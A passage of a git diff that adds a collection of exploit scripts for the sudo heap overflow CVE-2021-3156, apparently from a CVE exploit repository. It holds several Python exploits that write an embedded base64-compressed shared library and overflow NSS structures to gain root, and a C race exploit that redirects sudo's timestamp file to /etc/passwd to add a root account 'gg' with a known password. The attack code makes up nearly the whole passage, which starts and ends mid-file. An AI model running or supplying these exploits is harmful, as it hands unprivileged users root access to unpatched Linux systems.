b'A'*8 + # chunk size + b'', b'', b'', b'', b'', b'', b'', b'', # members.first + ADDR_MEMBER_LAST[:6], b'', # members.last + b'A'*8 + # member.name (can be any because this object is freed as list head (binding)) + pack(' 1 else None + offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None + + if cmnd_size is None: + cmnd_size = find_cmnd_size() + print("found cmnd size: 0x%x" % cmnd_size) + + argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ] + + env_prefix = [ b'A'*(7+0x4010+0x110) ] + + if offset_defaults is None: + offset_defaults = find_defaults_chunk(argv, env_prefix) + assert offset_defaults != -1 + + print('') + print("cmnd size: 0x%x" % cmnd_size) + print("offset to defaults: 0x%x" % offset_defaults) + + argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ] + env = create_env(offset_defaults) + run_until_success(argv, env) + +if __name__ == "__main__": + # global intialization + assert check_mailer_root(), "root mailer is disabled" + sudo_ver = check_sudo_version() + DEFAULTS_CMND = 269 + if sudo_ver >= 15: + MATCH_ALL = 284 + elif sudo_ver >= 13: + MATCH_ALL = 282 + elif sudo_ver >= 7: + MATCH_ALL = 280 + elif sudo_ver < 7: + MATCH_ALL = 279 + DEFAULTS_CMND = 268 + + has_tailq = sudo_ver >= 9 + has_file = sudo_ver >= 19 # has defaults.file pointer + main() diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss.py new file mode 100644 index 00000000..0b1d0f53 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss.py @@ -0,0 +1,261 @@ +#!/usr/bin/python3 +''' +Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya + +This exploit requires: +- glibc with tcache +- nscd service is not running + +Tested on: +- Ubuntu 18.04 +- Ubuntu 20.04 +- Debian 10 +- CentOS 8 +''' +import os +import subprocess +import sys +from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p + +SUDO_PATH = b"/usr/bin/sudo" + +libc = cdll.LoadLibrary("libc.so.6") + +# don't use LC_ALL (6). it override other LC_ +LC_CATS = [ + b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY", + b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS", + b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION" +] + +def check_is_vuln(): + # below commands has no log because it is invalid argument for both patched and unpatched version + # patched version, error because of '-s' argument + # unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment + r, w = os.pipe() + pid = os.fork() + if not pid: + # child + os.dup2(w, 2) + execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ]) + exit(0) + # parent + os.close(w) + os.waitpid(pid, 0) + r = os.fdopen(r, 'r') + err = r.read() + r.close() + + if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err: + return True + assert err.startswith('usage: ') or "invalid mode flags " in err, err + return False + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + #os.chmod(so_path, 0o755) + +def check_nscd_condition(): + if not os.path.exists('/var/run/nscd/socket'): + return True # no socket. no service + + # try connect + import socket + sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + try: + sk.connect('/var/run/nscd/socket') + except: + return True + else: + sk.close() + + with open('/etc/nscd.conf', 'r') as f: + for line in f: + line = line.strip() + if not line.startswith('enable-cache'): + continue # comment + service, enable = line.split()[1:] + # in fact, if only passwd is enabled, exploit with this method is still possible (need test) + # I think no one enable passwd but disable group + if service == 'passwd' and enable == 'yes': + return False + # group MUST be disabled to exploit sudo with nss_load_library() trick + if service == 'group' and enable == 'yes': + return False + + return True + +def get_libc_version(): + output = subprocess.check_output(['ldd', '--version'], universal_newlines=True) + for line in output.split('\n'): + if line.startswith('ldd '): + ver_txt = line.rsplit(' ', 1)[1] + return list(map(int, ver_txt.split('.'))) + return None + +def check_libc_version(): + version = get_libc_version() + assert version, "Cannot detect libc version" + # this exploit only works which glibc tcache (added in 2.26) + return version[0] >= 2 and version[1] >= 26 + +def check_libc_tcache(): + libc.malloc.argtypes = (c_int,) + libc.malloc.restype = c_void_p + libc.free.argtypes = (c_void_p,) + # small bin or tcache + size1, size2 = 0xd0, 0xc0 + mems = [0]*32 + # consume all size2 chunks + for i in range(len(mems)): + mems[i] = libc.malloc(size2) + + mem1 = libc.malloc(size1) + libc.free(mem1) + mem2 = libc.malloc(size2) + libc.free(mem2) + for addr in mems: + libc.free(addr) + return mem1 != mem2 + +def get_service_user_idx(): + '''Parse /etc/nsswitch.conf to find a group entry index + ''' + idx = 0 + found = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + if words[0] == 'group:': + found = True + break + for word in words[1:]: + if word[0] != '[': + idx += 1 + + assert found, '"group" database is not found. might be exploitable but no test' + return idx + +def get_extra_chunk_count(target_chunk_size): + # service_user are allocated by calling getpwuid() + # so we don't care allocation of chunk size 0x40 after getpwuid() + # there are many string that size can be varied + # here is the most common + chunk_cnt = 0 + + # get_user_info() -> get_user_groups() -> + gids = os.getgroups() + malloc_size = len("groups=") + len(gids) * 11 + chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care here + if chunk_size == target_chunk_size: chunk_cnt += 1 + + # host= (unlikely) + # get_user_info() -> sudo_gethostname() + import socket + malloc_size = len("host=") + len(socket.gethostname()) + 1 + chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 + if chunk_size == target_chunk_size: chunk_cnt += 1 + + # simply parse "networks=" from "ip addr" command output + # another workaround is bruteforcing with number of 0x70 + # policy_open() -> format_plugin_settings() -> + # a value is created from "parse_args() -> get_net_ifs()" with very large buffer + try: + import ipaddress + except: + return chunk_cnt + cnt = 0 + malloc_size = 0 + proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) + for line in proc.stdout: + line = line.strip() + if not line.startswith('inet'): + continue + if cnt < 2: # skip first 2 address (lo interface) + cnt += 1 + continue; + addr = line.split(' ', 2)[1] + mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask) + malloc_size += addr.index('/') + 1 + len(mask) + cnt += 1 + malloc_size += len("network_addrs=") + cnt - 3 + 1 + chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 + if chunk_size == target_chunk_size: chunk_cnt += 1 + proc.wait() + + return chunk_cnt + +def execve(filename, argv, envp): + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(envp))(*envp) + + libc.execve(filename, cargv, cenvp) + +def lc_env(cat_id, chunk_len): + name = b"C.UTF-8@" + name = name.ljust(chunk_len - 0x18, b'Z') + return LC_CATS[cat_id]+b"="+name + + +assert check_is_vuln(), "target is patched" +assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26" +assert check_libc_tcache(), "glibc tcache is not found" +assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method" +service_user_idx = get_service_user_idx() +assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx +create_libx("X/X1234") + +# Note: actions[5] can be any value. library and known MUST be NULL +FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ] + +TARGET_OFFSET_START = 0x780 +FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30 +FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwritten + +CHUNK_CMND_SIZE = 0xf0 + +# Allow custom extra_chunk_cnt incase unexpected allocation +# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0 +extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1]) + +argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ] +env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE +# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd) +env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ]) + +# add free chunks that created before target service_user +for i in range(2, service_user_idx+2): + # skip LC_ALL (6) + env.append(lc_env(i if i < 6 else i+1, 0x40)) +if service_user_idx == 0: + env.append(lc_env(2, 0x20)) # for filling hole + +for i in range(11, 11-extra_chunk_cnt, -1): + env.append(lc_env(i, CHUNK_CMND_SIZE)) + +env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer +env.append(b"TZ=:") # shortcut tzset function +# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault +env.append(None) + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py new file mode 100644 index 00000000..07811ae9 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py @@ -0,0 +1,102 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya + +This exploit requires: +- glibc without tcache +- nscd service is not running +- only defaults /etc/nsswitch.conf (need adjust LC_* if changed) + +Below is important struct that MUST be carefully overwritten +- Fake service_user before name_database_entry +- Overwrite only least significant byte of name_database_entry->service to NULL. a servive + pointer point to fake service in overwritten area. + +Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much. + +Tested on: +- Debian 9.13 +''' +import os + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*envp) + + libc.execve(filename, cargv, cenvp) + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + +def check_nsswitch(): + idx = 0 + found_passwd = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + cnt = 0 + for word in words[1:]: + if word[0] != '[': + cnt += 1 + if words[0] == 'group:': + if not found_passwd: + return False + return cnt == 1 + if words[0] == 'passwd:': + if cnt != 1: + return False + found_passwd = True + # TODO: should check all line because they might affect offset + + return False + +assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong' +create_libx("X/X1234") + +TARGET_CMND_SIZE = 0x30 + +argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ] + +env = [ + b"A"*0x5e+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known + b"X/X1234\\", # service_user->name + b"A"*0x2f+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next + "", # overwrite last byte of service pointer to 0, so point back to above + b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a", + b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30, + b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4, + b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1, + b"LANG=C.UTF-8@"+b"Z"*0xd0, + None, +] + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py new file mode 100644 index 00000000..33605d26 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py @@ -0,0 +1,49 @@ +#!/usr/bin/python3 +''' +Exploit for CVE-2021-3156 by sleepya + +Simplified version of exploit_nss.py for easy understanding. +- Remove all checking code +- Remove embeded library +- Manual a number of services before group line + +This exploit requires: +- glibc with tcache +- nscd service is not running +''' +import os + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(envp))(*envp) + + libc.execve(filename, cargv, cenvp) + + +TARGET_OFFSET_START = 0x780 + +FAKE_USER_SERVICE_PART = [ b"\\" ]*0x18 + [ b"X/X1234\\" ] +FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART * 13 +FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last backslash + +argv = [ b"sudoedit", b"-A", b"-s", b"A"*(0xe0)+b"\\", None ] + +env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE +env.extend([ + b"LC_CTYPE=C.UTF-8@"+b'A'*0x28+b";A=", + b"LC_NUMERIC=C.UTF-8@"+b'A'*0xd8, + b"LC_TIME=C.UTF-8@"+b'A'*0x28, + b"LC_COLLATE=C.UTF-8@"+b'A'*0x28, + #b"LC_MONETARY=C.UTF-8@"+b'A'*0x28, # for 3 entries in passwd line + b"LC_IDENTIFICATION=C.UTF-8@"+b'A'*0x78, # for filling holes from freed file buffer + b"TZ=:", + None +]) + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py new file mode 100644 index 00000000..b0acb244 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py @@ -0,0 +1,107 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on Ubuntu 14.04 by sleepya + +This exploit requires: +- glibc without tcache +- nscd service is not running +- only defaults /etc/nsswitch.conf (need adjust LC_* if changed) + +Ubuntu 14.04 uses eglibc. A name in name_database_entry and service_user is pointer. +- NULL name_database_entry->next, name_database_entry->service. +- overwite name_database_entry->name with address in VSYSCALL +- overwrite least significant byte of service_user->name to NULL. so a name pointer + points back to overwritten area. + +Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much. + +Tested on: +- Ubuntu 14.04.3 +''' +import os +from struct import pack + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*envp) + + libc.execve(filename, cargv, cenvp) + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + +def check_nsswitch(): + idx = 0 + found_passwd = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + cnt = 0 + for word in words[1:]: + if word[0] != '[': + cnt += 1 + if words[0] == 'group:': + if not found_passwd: + return False + return cnt == 1 + if words[0] == 'passwd:': + if cnt != 1: + return False + found_passwd = True + # TODO: should check all line because they might affect offset + + return False + +assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong' +create_libx("X/X1234") + +TARGET_CMND_SIZE = 0x30 + +argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ] + +env = [ + "A"*(0xf+0x50) + + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->service + pack("name, padding, service_user chunk size + "A"*0x10 + + "X/X1234\\", # service_user->name + "A"*0x8 + + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known + "", # NULL 1 byte of pointer to library name + b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0x30+b";a=a", + b"LC_PAPER=C.UTF-8@"+b"L"*0x10, + b"LC_NAME=C.UTF-8@"+b"L"*0x1, + b"LC_TIME=C.UTF-8@"+b"L"*0x1, + b"LANG=C.UTF-8@"+b"Z"*0xd0, + None, +] + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py new file mode 100644 index 00000000..f6b23715 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py @@ -0,0 +1,102 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya + +This exploit requires: +- glibc without tcache +- nscd service is not running +- only defaults /etc/nsswitch.conf (need adjust LC_* if changed) + +Below is important struct that MUST be carefully overwritten +- NULL name_database_entry->next and name_database_entry->service +- overwrite service_user object + +Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much. + +Tested on: +- Ubuntu 16.04.1 +- Ubuntu 16.04 +''' +import os + +SUDO_PATH = b"/usr/bin/sudo" + +def execve(filename, argv, envp): + from ctypes import cdll, c_char_p, POINTER + + libc = cdll.LoadLibrary("libc.so.6") + libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*envp) + + libc.execve(filename, cargv, cenvp) + +def create_libx(name): + so_path = 'libnss_'+name+'.so.2' + if os.path.isfile(so_path): + return # existed + + so_dir = 'libnss_' + name.split('/')[0] + if not os.path.exists(so_dir): + os.makedirs(so_dir) + + import zlib + import base64 + + libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3' + with open(so_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(libx_b64))) + +def check_nsswitch(): + idx = 0 + found_passwd = False + with open('/etc/nsswitch.conf', 'r') as f: + for line in f: + if line.startswith('#'): + continue # comment + line = line.strip() + if not line: + continue # empty line + words = line.split() + cnt = 0 + for word in words[1:]: + if word[0] != '[': + cnt += 1 + if words[0] == 'group:': + if not found_passwd: + return False + return cnt == 1 + if words[0] == 'passwd:': + if cnt != 1: + return False + found_passwd = True + # TODO: should check all line because they affect offset + + return False + +assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong' +create_libx("X/X1234") + +TARGET_CMND_SIZE = 0x30 + +argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ] + +env = [ + b"A"*0xae+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->service + "group\\", "A\\", # name_database_entry->name + b"A"*0x27+b"\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known + b"X/X1234", # service_user->name + b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a", + b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30, + b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4, + b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1, + b"LANG=C.UTF-8@"+b"Z"*0xd0, + None, +] + +execve(SUDO_PATH, argv, env) diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c b/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c new file mode 100644 index 00000000..a95938cc --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c @@ -0,0 +1,332 @@ +/* +Exploit for CVE-2021-3156 with def_timestamp overwrite by sleepya + +This exploit requires: +- glibc with tcache +- at least 2 CPUs on target machine +- sudo version 1.8.x (1.9.x write size is fixed) + +gcc -O2 -o exploit_timestamp_race exploit_timestamp_race.c -ldl + +Tested on: +- Ubuntu 18.04 +- Ubuntu 20.04 +- Debian 10 +- CentOS 8 +- openSUSE 15.0 +*/ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// default sleep time for raceing. +// sleep time is automatically adjusted while running +// this value can be replaced by argv[1] +#define DEFAULT_SLEEP_MS 4000 + +#define PASSWD_FILE "/etc/passwd" +#define BACKUP_FILE "/tmp/passwd.bak" + +#define SUDO_PATH "/usr/bin/sudo" +// for no locale-langpack, working dir length MUST be 0x28-0x37 to create chunk size 0x40 +#define WORKING_DIR "/tmp/gogogo123456789012345678901234567890go" + +// user: gg, pass: gg +#define PASSWD_LINES "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash" + +#define A8 "AAAAAAAA" +#define A10 A8 A8 +#define A20 A10 A10 +#define A40 A20 A20 +#define A80 A40 A40 +#define Ab0 A80 A20 A10 +#define Ae0 A80 A40 A20 +#define A200 A80 A80 A80 A80 +#define A400 A200 A200 +#define A800 A400 A400 +#define A1000 A800 A800 +#define A4000 A1000 A1000 A1000 A1000 +#define A10000 A4000 A4000 A4000 A4000 + +#define CURDIR10 "././././././././././" +#define CURDIR20 CURDIR10 CURDIR10 +#define CURDIR40 CURDIR20 CURDIR20 +#define CURDIR100 CURDIR40 CURDIR40 CURDIR20 + +// don't put "SUDO_ASKPASS" enviroment. sudo will fail without logging +static char *senv_nopack[] = { + "1234567" // Intention: no comma + // struct loaded_l10nfile + "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next + A80 A20 A8 // Intention: no comma + // struct loaded_l10nfile + "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next + A20 A10 A8 "1234567\\", + "", // tsdir + "\n" PASSWD_LINES "\n", + "LC_MESSAGES=C.UTF-8@" A80 A20 A8 "12345", + "LANG=C", + "TZ=:", + A10000, + NULL +}; +// ubuntu based +static char *senv_langpack[] = { + "1234567" A10 A8 "1234567\\", + "", // tsdir + "\n" PASSWD_LINES "\n", + "LC_MESSAGES=C.UTF-8@" A80 A20, + "LANG=C", + "TZ=:", + A10000, + NULL +}; +// opensuse +static char *senv_bundle[] = { + "123456\\", + "", // tsdir + "\n" PASSWD_LINES "\n", + "LC_MESSAGES=C.UTF-8@" A80 A20, + "LANG=C", + "TZ=:", + // sudoers.so (OpenSUSE) that linked with openssl is a mess. heap layout is changed every run. + // set OPENSSL_ia32cap=0 to make predictable heap layout. + "OPENSSL_ia32cap=0", + A10000, + NULL +}; + +static void backup_passwd() +{ + // backup + if (system("cp " PASSWD_FILE " " BACKUP_FILE) != 0) { + printf("Cannot backup passwd file\n"); + exit(1); + } + if (system("echo '"PASSWD_LINES"' >> "BACKUP_FILE) != 0) { + printf("Cannot append gg user in backup passwd file\n"); + exit(1); + } +} + +static size_t get_passwd_size() +{ + struct stat st; + stat(PASSWD_FILE, &st); + return st.st_size; +} + +static char* get_user() +{ + struct passwd *pw; + + pw = getpwuid(getuid()); + if (!pw) { + puts("Cannot get user name"); + exit(1); + } + + return strdup(pw->pw_name); +} + +static int find_mode() +{ + // find libc path + Dl_info info; + if (dladdr(exit, &info) == 0) { + printf("Cannot find libc path\n"); + exit(1); + } + + // map libc to memory + struct stat st; + int fd = open(info.dli_fname, O_RDONLY); + if (fstat(fd, &st) != 0) { + printf("Cannot load libc\n"); + exit(1); + } + void *addr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + + int mode = 1; + // use 'e-langpa' in case of optimization + if (memmem(addr, st.st_size, "e-langpa", 8) != 0) { + mode = 2; + } + if (memmem(addr, st.st_size, "e-bundle", 8) != 0) { + if (mode != 2) { + printf("has no /usr/share/locale-langpack but has /usr/share/locale-bundle\n"); + exit(1); + } + mode = 3; + } + + munmap(addr, st.st_size); + close(fd); + + return mode; +} + +const char *alnum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_"; + +int main(int argc, char **argv) +{ + int sleep_us = DEFAULT_SLEEP_MS; + if (argc > 1) + sleep_us = atoi(argv[1]); + size_t initial_size = get_passwd_size(); + + backup_passwd(); + + char realdir_name[2] = {0}; + char link_timestamp_file[128]; + char *user = get_user(); + + int null_fd = open("/dev/null", O_RDWR); + if (null_fd == -1) { + perror("open"); + return 1; + } + + char *sudo_argv[] = { "sudoedit", "-A", "-s", Ae0 "\\", NULL }; + + char tsdir[0x100] = {0}; + strcpy(tsdir, CURDIR100); + char *dir_ptr = tsdir + sizeof(CURDIR100) - 1; + + char **sudo_env; + switch (find_mode()) { + case 1: + sudo_env = senv_nopack; + sudo_env[79] = tsdir; + break; + case 2: + sudo_env = senv_langpack; + sudo_env[1] = tsdir; + break; + case 3: + sudo_env = senv_bundle; + sudo_env[1] = tsdir; + sudo_argv[3] = A40 "\\"; + break; + default: + exit(1); + } + + mkdir(WORKING_DIR, 0750); + if (chdir(WORKING_DIR) != 0) { + perror("chdir"); + return 1; + } + + const char *curr_dir = alnum; + sprintf(link_timestamp_file, "%c/%s", *curr_dir, user); + + int success = 0; + struct stat st; + mode_t old_mask = umask(0); + for (int i = 0; i < 1000; ++i) { + *dir_ptr = *curr_dir; + realdir_name[0] = *curr_dir; + link_timestamp_file[0] = *curr_dir; + + int pid = fork(); + if (!pid) { + execve(SUDO_PATH, sudo_argv, sudo_env); + exit(0); + } + + usleep(sleep_us); + + if (mkdir(realdir_name, 0777) == -1) { + perror("mkdir"); + } + else if (symlink(PASSWD_FILE, link_timestamp_file) == -1) { + perror("symlink"); + } + else { + // all success. sudo will unlink it one time + for (int j = 0; j < 5000; j++) { + if (symlink(PASSWD_FILE, link_timestamp_file) == 0) { + // success again + printf("symlink 2nd time success at: %d\n", j); + break; + } + } + } + waitpid(pid, 0, 0); + + if (get_passwd_size() != initial_size) { + printf("[+] Success with %d attempts!\n", i); + printf("succes with sleep time %d us\n", sleep_us); + success = 1; + break; + } + + if (lstat(link_timestamp_file, &st) == 0) { + if (S_ISLNK(st.st_mode)) { + // symbolic link. create dir is too early + printf("Failed. can cleanup\n"); + sleep_us += 100; + } + else { + // failed to create 2nd symbolic link + printf("Failed to create 2nd symbolic\n"); + } + + // cleanup and reuse dir + if (unlink(link_timestamp_file) == 0) { + rmdir(realdir_name); + } else { + // should never happen + printf("Cannot remove symbolic link !!!\n"); + exit(0); + } + } + else { + // sudo create a directory before us. cannot reuse this dir + curr_dir++; + if (*curr_dir == '\0') { + printf("out of dir name\n"); + exit(1); + } + printf("change dir to: %c\n", *curr_dir); + // decrease sleep time + if (sleep_us > 0) + sleep_us -= 100; + } + } + + if (!success) { + printf("exploit failed\n"); + return 1; + } + + umask(old_mask); + + // restore /etc/passwd with an extra line. cleanup WORKING_DIR. + chdir("/"); + system("echo gg | su -c \"cp 